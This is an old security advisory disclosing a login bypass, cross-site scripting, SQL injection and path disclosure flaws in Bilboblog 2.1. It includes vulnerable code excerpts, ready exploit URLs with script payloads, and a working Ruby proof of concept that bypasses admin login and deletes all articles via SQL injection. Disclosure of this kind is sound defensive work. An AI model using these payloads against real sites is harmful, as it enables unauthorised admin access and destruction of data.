Bilboblog 2.1 Multiple Remote Vulnerabilities

2008.07.26
Credit: Black_H
Risk: Medium
Local: No
Remote: Yes

------------------------------------------------------------------ Name : Bilboblog 2.1 Multiples Vulnerabilities Description : Bilboblog is a small application of micro-blogging in Php / MySQL Link : http://www.tux-planet.fr/bilboblog-version-021-english-translation/ Vuln. types : Login Bypass - Cross Site Scripting - SQL Injection - Full Path Disclosure Conditions : - SQL Injection : Magic Quotes Off - Login Bypass, XSS : Register Globals On Credits : Black_H <bl4ck.h@gmail.com> ------------------------------------------------------------------ .: I. Login Bypass ------------------- This vulnerability need register_global on. The file "admin/index.php" (and most of the admin files) includes the file 'login.php' (at line 23) which contains : 22| session_start(); 23| $checkLogin = false; 24| #echo "toto".$_SESSION['admin_login']; // note: wtf ?? 25| if(!isset($_SESSION['admin_login'])) { 26| 27| # Check form values 28| if (isset($_POST) && (!empty($_POST['admin_login'])) && (!empty($_POST['admin_passwd'])) ) { 29| 30| # Get Session vriables 31| $admin_login = trim($_POST['admin_login']); 32| $admin_passwd = trim($_POST['admin_passwd']); 33| 34| # Check login 35| if($admin_login == $login && $admin_passwd == $password) { 36| $checkLogin = true; 37| $_SESSION['admin_login'] = $admin_login; 38| $_SESSION['admin_passwd'] = $admin_passwd; 39| } 40| } 41| 42| } else { 43| $checkLogin = true; 44| } 45| 46| 22| if(!$checkLogin) { 47| 48| # Print login form [...] 58| exit(0); 59| } So, we need the session 'admin_login' ( $_SESSION['admin_login'] ) to have admin rights in all files. The script checks if we have post good login and pass or not. It's look like good, but if we call directly the login.php file, the $login and $password variable are not defined. We can set them with register_globals on, valid the form with the same value and so set $_SESSION['admin_login']. In facts, go on the page http://site.com/bilboblog/admin/login.php?login=1&password=1 and fill the forms with '1' value and submit. Because checkLogin is true nothing is printed and you're admin :))) .: II. Cross Site Scripting ---------------------------- 1) Permanent XSS When an admin ( legitim or not :)) ) post an article, the enCode function is applied to the content : ---- 'admin/update.php' 25| # Check values 26| if(isset($_POST['content']) && $_POST['content'] != "") { 27| $content = enCode(substr(trim($_POST['content']), 0, $limit_post)); [...] 36| # Insert new content 37| $sql = "INSERT INTO $db_table VALUES ('', '".time()."', '$content');"; 38| $result = mysql_query($sql); ---- 'admin/function.php' 141| function enCode($chaine) { 142| [...] // # Youtube & Dailymotion encode url 145| 146| # Detect string encoding 147| $encodage = mb_detect_encoding($chaine); 148| if($encodage == "ASCII") $encodage = "iso-8859-1"; # Htmlentities unknown ASCII 149| 150| # Convert special char to html code 151| $chaine = htmlentities($chaine,ENT_QUOTES,$encodage); 152| $chaine = addslashes($chaine); 153| 154| # Return result 155| return $chaine; 156| } The function clean all html chars in the content that we've submit. It protects the user against XSS in all pages of the blog but in the 'widget.php' file stripslashes() and html_entity_decode() functions is applied to the content which is printed ! So je just need to get admin rights (see upper) post malicious code and share widget.php's url to the victim. 2) Unpermanents XSS The file "index.php" includes the file 'head.php' (at line 21) which contains : 44| if ($_SERVER['QUERY_STRING'] != "" && intval($_SERVER['QUERY_STRING']) != "") { [...] 55| $titleId = str2Url($liste[2], 100, 0).' - '.$title; 56| } 78| <title><?php if(!empty($titleId)) { echo $titleId; } else { echo $title; } ?></title> 79| </head> When a page is loaded, the script checks if a number is present in the url to see if she could print an article. If the URL ( $_SERVER['QUERY_STRING'] ) contains a number (the id) the script load the article corresponding to the id in $_SERVER['QUERY_STRING']. If $_SERVER['QUERY_STRING'] (the url) do not contain a number, the variable $titleId is not set and print : we can define it on add a parameter titleId in the url and his value will be printed on the web page. But, the variable $titleId is betwenn the <head> balise, so we need to add </title></head><body> before the malicious code. We have : http://site.com/bilboblog/?titleId=TITLE</title></head><body><script>alert(1);</script> Anyway, there are unfunny XSS in admin files and 'footer.php' : http://site.com/bilboblog/footer.php?t_lang[lang_copyright]=XSS http://site.com/bilboblog/admin/?content=</textarea>XSS http://site.com/bilboblog/admin/homelink.php?url=">XSS http://site.com/bilboblog/admin/homelink.php?t_lang[lang_admin_help]=XSS http://site.com/bilboblog/admin/homelink.php?t_lang[lang_admin_clear_cache]=XSS http://site.com/bilboblog/admin/homelink.php?t_lang[lang_admin_home]=XSS http://site.com/bilboblog/admin/homelink.php?t_lang[lang_admin_logout]=XSS and also in /admin/post.php ... .: III. SQL Injection ---------------------- In admin panel, we can delete articles by sending article's id we want to supress to the script delete.php which clean the id of spaces and include it in a basic sql query : 25| # Check values 26| if(isset($_POST['num']) && $_POST['num'] != "") { 27| $article = trim($_POST['num']); 36| # Insert new content // It's look like a copy/paste :)) 37| $sql = "DELETE FROM $db_table WHERE num_article = '$article';"; 38| $result = mysql_query($sql); So, with magic_quotes off, we can inject sql code in the query and, by example, delete all entries (all articles) in the database. To delete all entries, we must send a post request to delete.php, for the poc see at the end of file. .: IV. Full Path Disclosure ---------------------------- And to finish, the are to FPD which can be exploited for a server attack or in sql injection : http://localhost/Audits/bilboblog/footer.php?enable_cache=false http://localhost/Audits/bilboblog/pagination.php // don't need any conditions .: &#195;&#65533;. SQL INJECTION POC (Ruby) --------------------------------------- # -- CUT # Config host = 'site.com' path = '/bilboblog/' # -- End require 'net/http' http = Net::HTTP.new(host) data = { 0 => "admin_login=1&admin_passwd=1", 1 => "num=-1' OR num_article > 0#" } resp = http.post(path+'admin/login.php?login=1&password=1', data[0]) cookie = { 'Cookie' => resp.response['set-cookie'] } resp = http.post(path+'admin/delete.php', data[1], cookie) if(resp.code.to_s == '302') : puts 'Done !' end # -- EOF Black_H <bl4ck.h@gmail.com> - blackh.eu http://blackh.eu/Advisories/Billboblog_2.1_Advisories.txt

References:

http://xforce.iss.net/xforce/xfdb/43765
http://www.milw0rm.com/exploits/6073
http://secunia.com/advisories/31054


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